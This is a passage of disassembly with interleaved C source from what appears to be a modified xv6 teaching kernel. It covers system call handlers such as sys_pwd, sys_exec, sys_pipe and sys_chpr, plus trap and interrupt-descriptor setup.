80105603: ff 75 0c pushl 0xc(%ebp)
80105606: ff 75 08 pushl 0x8(%ebp)
80105609: e8 52 ff ff ff call 80105560 <name_for_inode>
8010560e: 89 c3 mov %eax,%ebx
safestrcpy(buf + path_offset, node_name, n - path_offset);
80105610: 8b 45 0c mov 0xc(%ebp),%eax
80105613: 83 c4 0c add $0xc,%esp
80105616: 29 d8 sub %ebx,%eax
80105618: 50 push %eax
80105619: 8b 45 08 mov 0x8(%ebp),%eax
8010561c: 57 push %edi
8010561d: 01 d8 add %ebx,%eax
8010561f: 50 push %eax
80105620: e8 2b f2 ff ff call 80104850 <safestrcpy>
path_offset += strlen(node_name);
80105625: 89 3c 24 mov %edi,(%esp)
80105628: e8 63 f2 ff ff call 80104890 <strlen>
8010562d: 01 c3 add %eax,%ebx
if (path_offset == n - 1) {
8010562f: 8b 45 0c mov 0xc(%ebp),%eax
80105632: 83 c4 10 add $0x10,%esp
80105635: 83 e8 01 sub $0x1,%eax
80105638: 39 c3 cmp %eax,%ebx
8010563a: 75 14 jne 80105650 <name_for_inode+0xf0>
buf[path_offset] = '\0';
8010563c: 8b 45 08 mov 0x8(%ebp),%eax
8010563f: c6 04 18 00 movb $0x0,(%eax,%ebx,1)
return n;
80105643: 8b 45 0c mov 0xc(%ebp),%eax
80105646: e9 68 ff ff ff jmp 801055b3 <name_for_inode+0x53>
8010564b: 90 nop
8010564c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
buf[path_offset++] = '/';
80105650: 8d 43 01 lea 0x1(%ebx),%eax
iunlock(parent); //free
80105653: 83 ec 0c sub $0xc,%esp
buf[path_offset++] = '/';
80105656: 89 45 d4 mov %eax,-0x2c(%ebp)
80105659: 8b 45 08 mov 0x8(%ebp),%eax
8010565c: c6 04 18 2f movb $0x2f,(%eax,%ebx,1)
iunlock(parent); //free
80105660: 56 push %esi
80105661: e8 fa c0 ff ff call 80101760 <iunlock>
80105666: 83 c4 10 add $0x10,%esp
80105669: 8b 45 d4 mov -0x2c(%ebp),%eax
8010566c: e9 42 ff ff ff jmp 801055b3 <name_for_inode+0x53>
panic("could not find name of inode in parent!");
80105671: 83 ec 0c sub $0xc,%esp
80105674: 68 b4 7b 10 80 push $0x80107bb4
80105679: e8 12 ad ff ff call 80100390 <panic>
8010567e: 66 90 xchg %ax,%ax
80105680 <sys_pwd>:
int
sys_pwd(void)
{
80105680: 55 push %ebp
80105681: 89 e5 mov %esp,%ebp
80105683: 53 push %ebx
80105684: 83 ec 14 sub $0x14,%esp
char *p;
int n;
struct proc *curproc = myproc();
80105687: e8 34 e2 ff ff call 801038c0 <myproc>
8010568c: 89 c3 mov %eax,%ebx
if(argint(1, &n) < 0 || argptr(0, &p, n) < 0)
8010568e: 8d 45 f4 lea -0xc(%ebp),%eax
80105691: 83 ec 08 sub $0x8,%esp
80105694: 50 push %eax
80105695: 6a 01 push $0x1
80105697: e8 d4 f2 ff ff call 80104970 <argint>
8010569c: 83 c4 10 add $0x10,%esp
8010569f: 85 c0 test %eax,%eax
801056a1: 78 35 js 801056d8 <sys_pwd+0x58>
801056a3: 8d 45 f0 lea -0x10(%ebp),%eax
801056a6: 83 ec 04 sub $0x4,%esp
801056a9: ff 75 f4 pushl -0xc(%ebp)
801056ac: 50 push %eax
801056ad: 6a 00 push $0x0
801056af: e8 0c f3 ff ff call 801049c0 <argptr>
801056b4: 83 c4 10 add $0x10,%esp
801056b7: 85 c0 test %eax,%eax
801056b9: 78 1d js 801056d8 <sys_pwd+0x58>
return -1;
return name_for_inode(p, n, curproc->cwd);
801056bb: 83 ec 04 sub $0x4,%esp
801056be: ff 73 68 pushl 0x68(%ebx)
801056c1: ff 75 f4 pushl -0xc(%ebp)
801056c4: ff 75 f0 pushl -0x10(%ebp)
801056c7: e8 94 fe ff ff call 80105560 <name_for_inode>
801056cc: 83 c4 10 add $0x10,%esp
}
801056cf: 8b 5d fc mov -0x4(%ebp),%ebx
801056d2: c9 leave
801056d3: c3 ret
801056d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801056d8: b8 ff ff ff ff mov $0xffffffff,%eax
801056dd: eb f0 jmp 801056cf <sys_pwd+0x4f>
801056df: 90 nop
801056e0 <sys_exec>:
int
sys_exec(void)
{
801056e0: 55 push %ebp
801056e1: 89 e5 mov %esp,%ebp
801056e3: 57 push %edi
801056e4: 56 push %esi
801056e5: 53 push %ebx
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801056e6: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
{
801056ec: 81 ec a4 00 00 00 sub $0xa4,%esp
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801056f2: 50 push %eax
801056f3: 6a 00 push $0x0
801056f5: e8 26 f3 ff ff call 80104a20 <argstr>
801056fa: 83 c4 10 add $0x10,%esp
801056fd: 85 c0 test %eax,%eax
801056ff: 0f 88 87 00 00 00 js 8010578c <sys_exec+0xac>
80105705: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
8010570b: 83 ec 08 sub $0x8,%esp
8010570e: 50 push %eax
8010570f: 6a 01 push $0x1
80105711: e8 5a f2 ff ff call 80104970 <argint>
80105716: 83 c4 10 add $0x10,%esp
80105719: 85 c0 test %eax,%eax
8010571b: 78 6f js 8010578c <sys_exec+0xac>
return -1;
}
memset(argv, 0, sizeof(argv));
8010571d: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80105723: 83 ec 04 sub $0x4,%esp
for(i=0;; i++){
80105726: 31 db xor %ebx,%ebx
memset(argv, 0, sizeof(argv));
80105728: 68 80 00 00 00 push $0x80
8010572d: 6a 00 push $0x0
8010572f: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
80105735: 50 push %eax
80105736: e8 35 ef ff ff call 80104670 <memset>
8010573b: 83 c4 10 add $0x10,%esp
8010573e: eb 2c jmp 8010576c <sys_exec+0x8c>
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
return -1;
if(uarg == 0){
80105740: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
80105746: 85 c0 test %eax,%eax
80105748: 74 56 je 801057a0 <sys_exec+0xc0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
8010574a: 8d 8d 68 ff ff ff lea -0x98(%ebp),%ecx
80105750: 83 ec 08 sub $0x8,%esp
80105753: 8d 14 31 lea (%ecx,%esi,1),%edx
80105756: 52 push %edx
80105757: 50 push %eax
80105758: e8 a3 f1 ff ff call 80104900 <fetchstr>
8010575d: 83 c4 10 add $0x10,%esp
80105760: 85 c0 test %eax,%eax
80105762: 78 28 js 8010578c <sys_exec+0xac>
for(i=0;; i++){
80105764: 83 c3 01 add $0x1,%ebx
if(i >= NELEM(argv))
80105767: 83 fb 20 cmp $0x20,%ebx
8010576a: 74 20 je 8010578c <sys_exec+0xac>
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
8010576c: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
80105772: 8d 34 9d 00 00 00 00 lea 0x0(,%ebx,4),%esi
80105779: 83 ec 08 sub $0x8,%esp
8010577c: 57 push %edi
8010577d: 01 f0 add %esi,%eax
8010577f: 50 push %eax
80105780: e8 3b f1 ff ff call 801048c0 <fetchint>
80105785: 83 c4 10 add $0x10,%esp
80105788: 85 c0 test %eax,%eax
8010578a: 79 b4 jns 80105740 <sys_exec+0x60>
return -1;
}
return exec(path, argv);
}
8010578c: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
8010578f: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105794: 5b pop %ebx
80105795: 5e pop %esi
80105796: 5f pop %edi
80105797: 5d pop %ebp
80105798: c3 ret
80105799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return exec(path, argv);
801057a0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
801057a6: 83 ec 08 sub $0x8,%esp
argv[i] = 0;
801057a9: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
801057b0: 00 00 00 00
return exec(path, argv);
801057b4: 50 push %eax
801057b5: ff b5 5c ff ff ff pushl -0xa4(%ebp)
801057bb: e8 50 b2 ff ff call 80100a10 <exec>
801057c0: 83 c4 10 add $0x10,%esp
}
801057c3: 8d 65 f4 lea -0xc(%ebp),%esp
801057c6: 5b pop %ebx
801057c7: 5e pop %esi
801057c8: 5f pop %edi
801057c9: 5d pop %ebp
801057ca: c3 ret
801057cb: 90 nop
801057cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801057d0 <sys_pipe>:
int
sys_pipe(void)
{
801057d0: 55 push %ebp
801057d1: 89 e5 mov %esp,%ebp
801057d3: 57 push %edi
801057d4: 56 push %esi
801057d5: 53 push %ebx
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801057d6: 8d 45 dc lea -0x24(%ebp),%eax
{
801057d9: 83 ec 20 sub $0x20,%esp
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801057dc: 6a 08 push $0x8
801057de: 50 push %eax
801057df: 6a 00 push $0x0
801057e1: e8 da f1 ff ff call 801049c0 <argptr>
801057e6: 83 c4 10 add $0x10,%esp
801057e9: 85 c0 test %eax,%eax
801057eb: 0f 88 ae 00 00 00 js 8010589f <sys_pipe+0xcf>
return -1;
if(pipealloc(&rf, &wf) < 0)
801057f1: 8d 45 e4 lea -0x1c(%ebp),%eax
801057f4: 83 ec 08 sub $0x8,%esp
801057f7: 50 push %eax
801057f8: 8d 45 e0 lea -0x20(%ebp),%eax
801057fb: 50 push %eax
801057fc: e8 1f db ff ff call 80103320 <pipealloc>
80105801: 83 c4 10 add $0x10,%esp
80105804: 85 c0 test %eax,%eax
80105806: 0f 88 93 00 00 00 js 8010589f <sys_pipe+0xcf>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
8010580c: 8b 7d e0 mov -0x20(%ebp),%edi
for(fd = 0; fd < NOFILE; fd++){
8010580f: 31 db xor %ebx,%ebx
struct proc *curproc = myproc();
80105811: e8 aa e0 ff ff call 801038c0 <myproc>
80105816: eb 10 jmp 80105828 <sys_pipe+0x58>
80105818: 90 nop
80105819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(fd = 0; fd < NOFILE; fd++){
80105820: 83 c3 01 add $0x1,%ebx
80105823: 83 fb 10 cmp $0x10,%ebx
80105826: 74 60 je 80105888 <sys_pipe+0xb8>
if(curproc->ofile[fd] == 0){
80105828: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi
8010582c: 85 f6 test %esi,%esi
8010582e: 75 f0 jne 80105820 <sys_pipe+0x50>
curproc->ofile[fd] = f;
80105830: 8d 73 08 lea 0x8(%ebx),%esi
80105833: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4)
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80105837: 8b 7d e4 mov -0x1c(%ebp),%edi
struct proc *curproc = myproc();
8010583a: e8 81 e0 ff ff call 801038c0 <myproc>
for(fd = 0; fd < NOFILE; fd++){
8010583f: 31 d2 xor %edx,%edx
80105841: eb 0d jmp 80105850 <sys_pipe+0x80>
80105843: 90 nop
80105844: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105848: 83 c2 01 add $0x1,%edx
8010584b: 83 fa 10 cmp $0x10,%edx
8010584e: 74 28 je 80105878 <sys_pipe+0xa8>
if(curproc->ofile[fd] == 0){
80105850: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx
80105854: 85 c9 test %ecx,%ecx
80105856: 75 f0 jne 80105848 <sys_pipe+0x78>
curproc->ofile[fd] = f;
80105858: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4)
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
8010585c: 8b 45 dc mov -0x24(%ebp),%eax
8010585f: 89 18 mov %ebx,(%eax)
fd[1] = fd1;
80105861: 8b 45 dc mov -0x24(%ebp),%eax
80105864: 89 50 04 mov %edx,0x4(%eax)
return 0;
80105867: 31 c0 xor %eax,%eax
}
80105869: 8d 65 f4 lea -0xc(%ebp),%esp
8010586c: 5b pop %ebx
8010586d: 5e pop %esi
8010586e: 5f pop %edi
8010586f: 5d pop %ebp
80105870: c3 ret
80105871: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
myproc()->ofile[fd0] = 0;
80105878: e8 43 e0 ff ff call 801038c0 <myproc>
8010587d: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4)
80105884: 00
80105885: 8d 76 00 lea 0x0(%esi),%esi
fileclose(rf);
80105888: 83 ec 0c sub $0xc,%esp
8010588b: ff 75 e0 pushl -0x20(%ebp)
8010588e: e8 ad b5 ff ff call 80100e40 <fileclose>
fileclose(wf);
80105893: 58 pop %eax
80105894: ff 75 e4 pushl -0x1c(%ebp)
80105897: e8 a4 b5 ff ff call 80100e40 <fileclose>
return -1;
8010589c: 83 c4 10 add $0x10,%esp
8010589f: b8 ff ff ff ff mov $0xffffffff,%eax
801058a4: eb c3 jmp 80105869 <sys_pipe+0x99>
801058a6: 66 90 xchg %ax,%ax
801058a8: 66 90 xchg %ax,%ax
801058aa: 66 90 xchg %ax,%ax
801058ac: 66 90 xchg %ax,%ax
801058ae: 66 90 xchg %ax,%ax
801058b0 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
801058b0: 55 push %ebp
801058b1: 89 e5 mov %esp,%ebp
return fork();
}
801058b3: 5d pop %ebp
return fork();
801058b4: e9 a7 e1 ff ff jmp 80103a60 <fork>
801058b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801058c0 <sys_exit>:
int
sys_exit(void)
{
801058c0: 55 push %ebp
801058c1: 89 e5 mov %esp,%ebp
801058c3: 83 ec 08 sub $0x8,%esp
exit();
801058c6: e8 35 e4 ff ff call 80103d00 <exit>
return 0; // not reached
}
801058cb: 31 c0 xor %eax,%eax
801058cd: c9 leave
801058ce: c3 ret
801058cf: 90 nop
801058d0 <sys_wait>:
int
sys_wait(void)
{
801058d0: 55 push %ebp
801058d1: 89 e5 mov %esp,%ebp
return wait();
}
801058d3: 5d pop %ebp
return wait();
801058d4: e9 67 e6 ff ff jmp 80103f40 <wait>
801058d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801058e0 <sys_kill>:
int
sys_kill(void)
{
801058e0: 55 push %ebp
801058e1: 89 e5 mov %esp,%ebp
801058e3: 83 ec 20 sub $0x20,%esp
int pid;
if(argint(0, &pid) < 0)
801058e6: 8d 45 f4 lea -0xc(%ebp),%eax
801058e9: 50 push %eax
801058ea: 6a 00 push $0x0
801058ec: e8 7f f0 ff ff call 80104970 <argint>
801058f1: 83 c4 10 add $0x10,%esp
801058f4: 85 c0 test %eax,%eax
801058f6: 78 18 js 80105910 <sys_kill+0x30>
return -1;
return kill(pid);
801058f8: 83 ec 0c sub $0xc,%esp
801058fb: ff 75 f4 pushl -0xc(%ebp)
801058fe: e8 8d e7 ff ff call 80104090 <kill>
80105903: 83 c4 10 add $0x10,%esp
}
80105906: c9 leave
80105907: c3 ret
80105908: 90 nop
80105909: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80105910: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105915: c9 leave
80105916: c3 ret
80105917: 89 f6 mov %esi,%esi
80105919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105920 <sys_getpid>:
int
sys_getpid(void)
{
80105920: 55 push %ebp
80105921: 89 e5 mov %esp,%ebp
80105923: 83 ec 08 sub $0x8,%esp
return myproc()->pid;
80105926: e8 95 df ff ff call 801038c0 <myproc>
8010592b: 8b 40 10 mov 0x10(%eax),%eax
}
8010592e: c9 leave
8010592f: c3 ret
80105930 <sys_sbrk>:
int
sys_sbrk(void)
{
80105930: 55 push %ebp
80105931: 89 e5 mov %esp,%ebp
80105933: 53 push %ebx
int addr;
int n;
if(argint(0, &n) < 0)
80105934: 8d 45 f4 lea -0xc(%ebp),%eax
{
80105937: 83 ec 1c sub $0x1c,%esp
if(argint(0, &n) < 0)
8010593a: 50 push %eax
8010593b: 6a 00 push $0x0
8010593d: e8 2e f0 ff ff call 80104970 <argint>
80105942: 83 c4 10 add $0x10,%esp
80105945: 85 c0 test %eax,%eax
80105947: 78 27 js 80105970 <sys_sbrk+0x40>
return -1;
addr = myproc()->sz;
80105949: e8 72 df ff ff call 801038c0 <myproc>
if(growproc(n) < 0)
8010594e: 83 ec 0c sub $0xc,%esp
addr = myproc()->sz;
80105951: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105953: ff 75 f4 pushl -0xc(%ebp)
80105956: e8 85 e0 ff ff call 801039e0 <growproc>
8010595b: 83 c4 10 add $0x10,%esp
8010595e: 85 c0 test %eax,%eax
80105960: 78 0e js 80105970 <sys_sbrk+0x40>
return -1;
return addr;
}
80105962: 89 d8 mov %ebx,%eax
80105964: 8b 5d fc mov -0x4(%ebp),%ebx
80105967: c9 leave
80105968: c3 ret
80105969: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80105970: bb ff ff ff ff mov $0xffffffff,%ebx
80105975: eb eb jmp 80105962 <sys_sbrk+0x32>
80105977: 89 f6 mov %esi,%esi
80105979: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105980 <sys_sleep>:
int
sys_sleep(void)
{
80105980: 55 push %ebp
80105981: 89 e5 mov %esp,%ebp
80105983: 53 push %ebx
int n;
uint ticks0;
if(argint(0, &n) < 0)
80105984: 8d 45 f4 lea -0xc(%ebp),%eax
{
80105987: 83 ec 1c sub $0x1c,%esp
if(argint(0, &n) < 0)
8010598a: 50 push %eax
8010598b: 6a 00 push $0x0
8010598d: e8 de ef ff ff call 80104970 <argint>
80105992: 83 c4 10 add $0x10,%esp
80105995: 85 c0 test %eax,%eax
80105997: 0f 88 8a 00 00 00 js 80105a27 <sys_sleep+0xa7>
return -1;
acquire(&tickslock);
8010599d: 83 ec 0c sub $0xc,%esp
801059a0: 68 60 49 11 80 push $0x80114960
801059a5: e8 b6 eb ff ff call 80104560 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
801059aa: 8b 55 f4 mov -0xc(%ebp),%edx
801059ad: 83 c4 10 add $0x10,%esp
ticks0 = ticks;
801059b0: 8b 1d a0 51 11 80 mov 0x801151a0,%ebx
while(ticks - ticks0 < n){
801059b6: 85 d2 test %edx,%edx
801059b8: 75 27 jne 801059e1 <sys_sleep+0x61>
801059ba: eb 54 jmp 80105a10 <sys_sleep+0x90>
801059bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
801059c0: 83 ec 08 sub $0x8,%esp
801059c3: 68 60 49 11 80 push $0x80114960
801059c8: 68 a0 51 11 80 push $0x801151a0
801059cd: e8 ae e4 ff ff call 80103e80 <sleep>
while(ticks - ticks0 < n){
801059d2: a1 a0 51 11 80 mov 0x801151a0,%eax
801059d7: 83 c4 10 add $0x10,%esp
801059da: 29 d8 sub %ebx,%eax
801059dc: 3b 45 f4 cmp -0xc(%ebp),%eax
801059df: 73 2f jae 80105a10 <sys_sleep+0x90>
if(myproc()->killed){
801059e1: e8 da de ff ff call 801038c0 <myproc>
801059e6: 8b 40 24 mov 0x24(%eax),%eax
801059e9: 85 c0 test %eax,%eax
801059eb: 74 d3 je 801059c0 <sys_sleep+0x40>
release(&tickslock);
801059ed: 83 ec 0c sub $0xc,%esp
801059f0: 68 60 49 11 80 push $0x80114960
801059f5: e8 26 ec ff ff call 80104620 <release>
return -1;
801059fa: 83 c4 10 add $0x10,%esp
801059fd: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&tickslock);
return 0;
}
80105a02: 8b 5d fc mov -0x4(%ebp),%ebx
80105a05: c9 leave
80105a06: c3 ret
80105a07: 89 f6 mov %esi,%esi
80105a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
release(&tickslock);
80105a10: 83 ec 0c sub $0xc,%esp
80105a13: 68 60 49 11 80 push $0x80114960
80105a18: e8 03 ec ff ff call 80104620 <release>
return 0;
80105a1d: 83 c4 10 add $0x10,%esp
80105a20: 31 c0 xor %eax,%eax
}
80105a22: 8b 5d fc mov -0x4(%ebp),%ebx
80105a25: c9 leave
80105a26: c3 ret
return -1;
80105a27: b8 ff ff ff ff mov $0xffffffff,%eax
80105a2c: eb f4 jmp 80105a22 <sys_sleep+0xa2>
80105a2e: 66 90 xchg %ax,%ax
80105a30 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
80105a30: 55 push %ebp
80105a31: 89 e5 mov %esp,%ebp
80105a33: 53 push %ebx
80105a34: 83 ec 10 sub $0x10,%esp
uint xticks;
acquire(&tickslock);
80105a37: 68 60 49 11 80 push $0x80114960
80105a3c: e8 1f eb ff ff call 80104560 <acquire>
xticks = ticks;
80105a41: 8b 1d a0 51 11 80 mov 0x801151a0,%ebx
release(&tickslock);
80105a47: c7 04 24 60 49 11 80 movl $0x80114960,(%esp)
80105a4e: e8 cd eb ff ff call 80104620 <release>
return xticks;
}
80105a53: 89 d8 mov %ebx,%eax
80105a55: 8b 5d fc mov -0x4(%ebp),%ebx
80105a58: c9 leave
80105a59: c3 ret
80105a5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105a60 <sys_cps>:
int
sys_cps (void)
{
80105a60: 55 push %ebp
80105a61: 89 e5 mov %esp,%ebp
return cps();
}
80105a63: 5d pop %ebp
return cps();
80105a64: e9 67 e7 ff ff jmp 801041d0 <cps>
80105a69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105a70 <sys_chpr>:
int
sys_chpr(void){
80105a70: 55 push %ebp
80105a71: 89 e5 mov %esp,%ebp
80105a73: 83 ec 20 sub $0x20,%esp
int pid, pr;
if(argint(0, &pid) < 0)
80105a76: 8d 45 f0 lea -0x10(%ebp),%eax
80105a79: 50 push %eax
80105a7a: 6a 00 push $0x0
80105a7c: e8 ef ee ff ff call 80104970 <argint>
80105a81: 83 c4 10 add $0x10,%esp
80105a84: 85 c0 test %eax,%eax
80105a86: 78 28 js 80105ab0 <sys_chpr+0x40>
return -1;
if(argint(1, &pr) < 0)
80105a88: 8d 45 f4 lea -0xc(%ebp),%eax
80105a8b: 83 ec 08 sub $0x8,%esp
80105a8e: 50 push %eax
80105a8f: 6a 01 push $0x1
80105a91: e8 da ee ff ff call 80104970 <argint>
80105a96: 83 c4 10 add $0x10,%esp
80105a99: 85 c0 test %eax,%eax
80105a9b: 78 13 js 80105ab0 <sys_chpr+0x40>
return -1;
return chpr(pid, pr);
80105a9d: 83 ec 08 sub $0x8,%esp
80105aa0: ff 75 f4 pushl -0xc(%ebp)
80105aa3: ff 75 f0 pushl -0x10(%ebp)
80105aa6: e8 f5 e7 ff ff call 801042a0 <chpr>
80105aab: 83 c4 10 add $0x10,%esp
}
80105aae: c9 leave
80105aaf: c3 ret
return -1;
80105ab0: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105ab5: c9 leave
80105ab6: c3 ret
80105ab7: 89 f6 mov %esi,%esi
80105ab9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105ac0 <sys_freeMem>:
void
sys_freeMem(void)
{
80105ac0: 55 push %ebp
80105ac1: 89 e5 mov %esp,%ebp
freeMem();
}
80105ac3: 5d pop %ebp
freeMem();
80105ac4: e9 d7 ca ff ff jmp 801025a0 <freeMem>
80105ac9 <alltraps>:
80105ac9: 1e push %ds
80105aca: 06 push %es
80105acb: 0f a0 push %fs
80105acd: 0f a8 push %gs
80105acf: 60 pusha
80105ad0: 66 b8 10 00 mov $0x10,%ax
80105ad4: 8e d8 mov %eax,%ds
80105ad6: 8e c0 mov %eax,%es
80105ad8: 54 push %esp
80105ad9: e8 c2 00 00 00 call 80105ba0 <trap>
80105ade: 83 c4 04 add $0x4,%esp
80105ae1 <trapret>:
80105ae1: 61 popa
80105ae2: 0f a9 pop %gs
80105ae4: 0f a1 pop %fs
80105ae6: 07 pop %es
80105ae7: 1f pop %ds
80105ae8: 83 c4 08 add $0x8,%esp
80105aeb: cf iret
80105aec: 66 90 xchg %ax,%ax
80105aee: 66 90 xchg %ax,%ax
80105af0 <tvinit>:
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
80105af0: 55 push %ebp
int i;
for(i = 0; i < 256; i++)
80105af1: 31 c0 xor %eax,%eax
{
80105af3: 89 e5 mov %esp,%ebp
80105af5: 83 ec 08 sub $0x8,%esp
80105af8: 90 nop
80105af9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80105b00: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx
80105b07: c7 04 c5 a2 49 11 80 movl $0x8e000008,-0x7feeb65e(,%eax,8)
80105b0e: 08 00 00 8e
80105b12: 66 89 14 c5 a0 49 11 mov %dx,-0x7feeb660(,%eax,8)
80105b19: 80
80105b1a: c1 ea 10 shr $0x10,%edx
80105b1d: 66 89 14 c5 a6 49 11 mov %dx,-0x7feeb65a(,%eax,8)
80105b24: 80
for(i = 0; i < 256; i++)
80105b25: 83 c0 01 add $0x1,%eax
80105b28: 3d 00 01 00 00 cmp $0x100,%eax
80105b2d: 75 d1 jne 80105b00 <tvinit+0x10>
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105b2f: a1 08 a1 10 80 mov 0x8010a108,%eax
initlock(&tickslock, "time");
80105b34: 83 ec 08 sub $0x8,%esp
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105b37: c7 05 a2 4b 11 80 08 movl $0xef000008,0x80114ba2
80105b3e: 00 00 ef
initlock(&tickslock, "time");
80105b41: 68 12 7c 10 80 push $0x80107c12
80105b46: 68 60 49 11 80 push $0x80114960
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105b4b: 66 a3 a0 4b 11 80 mov %ax,0x80114ba0
80105b51: c1 e8 10 shr $0x10,%eax
80105b54: 66 a3 a6 4b 11 80 mov %ax,0x80114ba6
initlock(&tickslock, "time");
80105b5a: e8 c1 e8 ff ff call 80104420 <initlock>
}
80105b5f: 83 c4 10 add $0x10,%esp
80105b62: c9 leave
80105b63: c3 ret
80105b64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105b6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80105b70 <idtinit>:
void
idtinit(void)
{
80105b70: 55 push %ebp
pd[0] = size-1;
80105b71: b8 ff 07 00 00 mov $0x7ff,%eax
80105b76: 89 e5 mov %esp,%ebp
80105b78: 83 ec 10 sub $0x10,%esp
80105b7b: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80105b7f: b8 a0 49 11 80 mov $0x801149a0,%eax
80105b84: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80105b88: c1 e8 10 shr $0x10,%eax
80105b8b: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
80105b8f: 8d 45 fa lea -0x6(%ebp),%eax
80105b92: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
80105b95: c9 leave
80105b96: c3 ret
80105b97: 89 f6 mov %esi,%esi
80105b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105ba0 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80105ba0: 55 push %ebp
80105ba1: 89 e5 mov %esp,%ebp
80105ba3: 57 push %edi
80105ba4: 56 push %esi
80105ba5: 53 push %ebx
80105ba6: 83 ec 1c sub $0x1c,%esp
80105ba9: 8b 7d 08 mov 0x8(%ebp),%edi
if(tf->trapno == T_SYSCALL){
80105bac: 8b 47 30 mov 0x30(%edi),%eax
80105baf: 83 f8 40 cmp $0x40,%eax
80105bb2: 0f 84 f0 00 00 00 je 80105ca8 <trap+0x108>
if(myproc()->killed)
exit();
return;
}
switch(tf->trapno){
80105bb8: 83 e8 20 sub $0x20,%eax
80105bbb: 83 f8 1f cmp $0x1f,%eax
80105bbe: 77 10 ja 80105bd0 <trap+0x30>
80105bc0: ff 24 85 b8 7c 10 80 jmp *-0x7fef8348(,%eax,4)
80105bc7: 89 f6 mov %esi,%esi
80105bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
lapiceoi();
break;
//PAGEBREAK: 13
default:
if(myproc() == 0 || (tf->cs&3) == 0){
80105bd0: e8 eb dc ff ff call 801038c0 <myproc>
80105bd5: 85 c0 test %eax,%eax
80105bd7: 8b 5f 38 mov 0x38(%edi),%ebx
80105bda: 0f 84 14 02 00 00 je 80105df4 <trap+0x254>
80105be0: f6 47 3c 03 testb $0x3,0x3c(%edi)
80105be4: 0f 84 0a 02 00 00 je 80105df4 <trap+0x254>
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
80105bea: 0f 20 d1 mov %cr2,%ecx
